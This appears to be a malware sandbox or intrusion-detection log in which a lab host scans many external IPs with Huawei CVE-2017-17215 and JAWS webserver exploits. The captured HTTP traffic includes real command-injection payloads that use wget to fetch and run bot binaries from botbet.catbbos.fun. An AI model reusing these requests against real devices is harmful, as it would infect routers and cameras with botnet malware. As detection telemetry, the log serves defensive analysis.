Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.77.100

Timestamp:	192.168.2.23156.254.77.10050424372152835222 03/05/23-19:05:58.950442
SID:	2835222
Source Port:	50424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.20.156

Timestamp:	192.168.2.23197.193.20.15638868372152835222 03/05/23-19:07:09.645854
SID:	2835222
Source Port:	38868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.62.192

Timestamp:	192.168.2.23197.195.62.19258434372152835222 03/05/23-19:07:18.546571
SID:	2835222
Source Port:	58434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.244.229.11

Timestamp:	192.168.2.23198.244.229.1141586802030092 03/05/23-19:06:48.784321
SID:	2030092
Source Port:	41586
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.67.161.142

Timestamp:	192.168.2.2318.67.161.14253408802030092 03/05/23-19:06:48.497694
SID:	2030092
Source Port:	53408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.223.204.239

Timestamp:	192.168.2.23124.223.204.23936256802030092 03/05/23-19:07:22.047279
SID:	2030092
Source Port:	36256
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.166.181

Timestamp:	192.168.2.2341.153.166.18150610372152835222 03/05/23-19:07:07.506487
SID:	2835222
Source Port:	50610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.220.138.71

Timestamp:	192.168.2.2323.220.138.7137276802030092 03/05/23-19:05:33.463860
SID:	2030092
Source Port:	37276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.221.10.138

Timestamp:	192.168.2.2388.221.10.13835302802030092 03/05/23-19:07:18.486020
SID:	2030092
Source Port:	35302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.198.203.122

Timestamp:	192.168.2.2381.198.203.12245716802030092 03/05/23-19:06:26.787766
SID:	2030092
Source Port:	45716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.201.71.232

Timestamp:	192.168.2.23101.201.71.23250136802030092 03/05/23-19:06:37.286219
SID:	2030092
Source Port:	50136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.197.175.183

Timestamp:	192.168.2.2323.197.175.18356836802030092 03/05/23-19:06:23.146328
SID:	2030092
Source Port:	56836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.88.123.85

Timestamp:	192.168.2.2364.88.123.8540384802030092 03/05/23-19:06:09.672524
SID:	2030092
Source Port:	40384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.60.0.164

Timestamp:	192.168.2.2314.60.0.16456932802030092 03/05/23-19:07:24.600270
SID:	2030092
Source Port:	56932
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.114.147.237

Timestamp:	192.168.2.23104.114.147.23746552802030092 03/05/23-19:06:40.853679
SID:	2030092
Source Port:	46552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.213.129.166

Timestamp:	192.168.2.23154.213.129.16634412802030092 03/05/23-19:06:46.879085
SID:	2030092
Source Port:	34412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.48.47.133

Timestamp:	192.168.2.23195.48.47.13341558802030092 03/05/23-19:05:39.459271
SID:	2030092
Source Port:	41558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.196.194

Timestamp:	192.168.2.23197.195.196.19451894372152835222 03/05/23-19:06:05.363877
SID:	2835222
Source Port:	51894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.60.39.8

Timestamp:	192.168.2.23150.60.39.835760802030092 03/05/23-19:06:09.957074
SID:	2030092
Source Port:	35760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.233.155.146

Timestamp:	192.168.2.2350.233.155.14634636802030092 03/05/23-19:06:11.827097
SID:	2030092
Source Port:	34636
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.95.45.203

Timestamp:	192.168.2.23184.95.45.20338804802030092 03/05/23-19:06:29.557140
SID:	2030092
Source Port:	38804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.207.7.135

Timestamp:	192.168.2.2338.207.7.13537504802030092 03/05/23-19:06:44.063981
SID:	2030092
Source Port:	37504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.87.158.205

Timestamp:	192.168.2.23220.87.158.20545274802030092 03/05/23-19:06:53.518910
SID:	2030092
Source Port:	45274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.14.34.112

Timestamp:	192.168.2.2359.14.34.11247982802030092 03/05/23-19:05:47.107724
SID:	2030092
Source Port:	47982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.254.72.190

Timestamp:	192.168.2.2365.254.72.19049348802030092 03/05/23-19:05:55.275284
SID:	2030092
Source Port:	49348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.187.6.138

Timestamp:	192.168.2.235.187.6.13833540802030092 03/05/23-19:06:53.419742
SID:	2030092
Source Port:	33540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.229.49.62

Timestamp:	192.168.2.2352.229.49.6237546802030092 03/05/23-19:06:39.122131
SID:	2030092
Source Port:	37546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 100.14.30.177

Timestamp:	192.168.2.23100.14.30.17748786802030092 03/05/23-19:06:50.819088
SID:	2030092
Source Port:	48786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.10.241

Timestamp:	192.168.2.23156.163.10.24145296372152835222 03/05/23-19:06:36.425573
SID:	2835222
Source Port:	45296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.148.249.138

Timestamp:	192.168.2.23146.148.249.13852684802030092 03/05/23-19:05:57.831119
SID:	2030092
Source Port:	52684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.241.75.228

Timestamp:	192.168.2.23192.241.75.22856318802030092 03/05/23-19:06:17.563740
SID:	2030092
Source Port:	56318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 62 6f 74 62 65 74 2e 63 61 74 62 62 6f 73 2e 66 75 6e 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://botbet.catbbos.fun/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: unknown

DNS traffic detected: queries for: botbet.catbbos.fun

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
